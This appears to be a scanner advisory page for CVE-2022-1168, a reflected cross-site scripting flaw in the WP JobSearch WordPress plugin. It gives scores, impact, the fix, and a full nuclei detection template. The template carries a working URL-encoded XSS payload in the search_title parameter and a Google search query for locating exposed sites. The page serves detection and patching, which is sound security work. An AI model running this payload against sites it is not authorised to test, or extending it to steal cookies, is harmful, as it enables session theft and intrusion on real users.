WordPress WP JobSearch <1.5.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

WordPress WP JobSearch plugin prior to 1.5.1 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Attackers can inject malicious JavaScript via XSS in the search_title parameter, potentially stealing user session cookies or performing unauthorized actions.

Fix

Update to the latest version of the WP JobSearch plugin (1.5.1 or higher) to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/plugins/jobsearch/?search_title=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28domain%29%3E&ajax_filter=true&posted=all&sort-by=recent
Positive when: contains "<img src=x onerror=alert(domain)>" and "wp-jobsearch" AND contains in header "text/html" AND status 404

Run it with nuclei: nuclei -id CVE-2022-1168 -u <target>

The full check

id: CVE-2022-1168

info:
  name: WordPress WP JobSearch <1.5.1 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress WP JobSearch plugin prior to 1.5.1 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Attackers can inject malicious JavaScript via XSS in the search_title parameter, potentially stealing user session cookies or performing unauthorized actions.
  remediation: |
    Update to the latest version of the WP JobSearch plugin (1.5.1 or higher) to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/bcf38e87-011e-4540-8bfb-c93443a4a490
    - https://codecanyon.net/item/jobsearch-wp-job-board-wordpress-plugin/21066856
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1168
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1168
    cwe-id: CWE-79
    epss-score: 0.01593
    epss-percentile: 0.75902
    cpe: cpe:2.3:a:eyecix:jobsearch_wp_job_board:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: eyecix
    product: jobsearch_wp_job_board
    framework: wordpress
    google-query: inurl:"wp-content/plugins/wp-jobsearch"
  tags: cve,cve2022,wp-jobsearch",wpscan,wp-plugin,wp,wordpress,xss,eyecix,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/plugins/jobsearch/?search_title=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28domain%29%3E&ajax_filter=true&posted=all&sort-by=recent'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(domain)>"
          - "wp-jobsearch"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 404

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